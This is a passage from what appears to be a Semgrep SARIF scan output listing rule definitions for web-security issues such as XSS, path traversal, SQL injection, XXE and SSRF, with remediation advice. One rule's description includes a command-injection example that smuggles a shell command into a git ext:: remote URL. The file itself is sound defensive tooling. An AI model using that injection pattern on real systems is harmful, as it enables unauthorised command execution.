'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"help":{"markdown":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected directly writing or similar in 'http.ResponseWriter.write()'. This bypasses HTML escaping that prevents cross-site scripting vulnerabilities. Instead, use the 'html/template' package and render data using 'template.Execute()'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","id":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","name":"go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-direct-write-to-responsewriter.no-direct-write-to-responsewriter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","id":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","name":"ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-ftp-call.avoid-tainted-ftp-call"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#html_safe)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"`html_safe()` add the `__html__` magic method to the provided class. The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-safe.html-safe","id":"python.django.security.audit.xss.html-safe.html-safe","name":"python.django.security.audit.xss.html-safe.html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-safe.html-safe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"help":{"markdown":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Git allows shell commands to be specified in ext URLs for remote repositories. For example, git clone 'ext::sh -c whoami% >&2' will execute the whoami command to try to connect to a remote repository. Make sure that the URL is not controlled by external input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.spawn-git-clone.spawn-git-clone","id":"javascript.lang.security.spawn-git-clone.spawn-git-clone","name":"javascript.lang.security.spawn-git-clone.spawn-git-clone","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.spawn-git-clone.spawn-git-clone"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Writing `$MAP` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Writing `$MAP` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-write-to-map.racy-write-to-map","id":"trailofbits.go.racy-write-to-map.racy-write-to-map","name":"trailofbits.go.racy-write-to-map.racy-write-to-map","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-write-to-map.racy-write-to-map"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"help":{"markdown":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html](https://docs.oracle.com/javase/7/docs/api/java/sql/PreparedStatement.html)\n","text":"User data flows into this manually-constructed SQL string. User data can be safely inserted into SQL strings using prepared statements or an object-relational mapper (ORM). Manually-constructed SQL strings is a possible indicator of SQL injection, which could let an attacker steal or manipulate data from the database. Instead, use prepared statements (`connection.PreparedStatement`) or a safe library."},"helpUri":"https://semgrep.dev/r/java.spring.security.injection.tainted-sql-string.tainted-sql-string","id":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","name":"java.spring.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","id":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","name":"python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-toml-flask.tainted-path-traversal-toml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Artifactory token detected"},"help":{"markdown":"Artifactory token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Artifactory token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-artifactory-token.detected-artifactory-token","id":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","name":"generic.secrets.security.detected-artifactory-token.detected-artifactory-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-artifactory-token.detected-artifactory-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Use 'resp.render()' to render safely escaped HTML. Validate the user input, perform contextual output encoding, or sanitize the input. A popular library used to prevent XSS is DOMPurify. You can also use libraries and frameworks such as Angular, Vue, and React, which offer secure defaults when rendering input."},"helpUri":"https://semgrep.dev/r/javascript.express.direct-response-write-with-header.direct-response-write-with-header","id":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","name":"javascript.express.direct-response-write-with-header.direct-response-write-with-header","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.direct-response-write-with-header.direct-response-write-with-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"help":{"markdown":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n - [https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/](https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/)\n - [https://bento.dev/checks/flask/unescaped-file-extension/](https://bento.dev/checks/flask/unescaped-file-extension/)\n","text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension","id":"python.flask.security.unescaped-template-extension.unescaped-template-extension","name":"python.flask.security.unescaped-template-extension.unescaped-template-extension","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unescaped-template-extension.unescaped-template-extension"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"help":{"markdown":"Custom ERC721 implementation lacks access control checks in _transfer()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom)\n - [https://twitter.com/BlockSecAlert/status/1516289618605654024](https://twitter.com/BlockSecAlert/status/1516289618605654024)\n - [https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b](https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b)\n","text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","id":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","name":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","id":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","name":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"help":{"markdown":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ](https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ)\n","text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure","id":"ruby.lang.security.file-disclosure.file-disclosure","name":"ruby.lang.security.file-disclosure.file-disclosure","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.file-disclosure.file-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"help":{"markdown":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse)\n - [https://docs.python.org/3/library/xml.html](https://docs.python.org/3/library/xml.html)\n - [https://github.com/tiran/defusedxml](https://github.com/tiran/defusedxml)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse","id":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","name":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xml-parse.use-defused-xml-parse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint","id":"rust.hyper.nosql.mongodb-taint.mongodb-taint","name":"rust.hyper.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"help":{"markdown":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request)\n - [https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html](https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html)\n","text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","id":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","name":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","id":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","name":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: 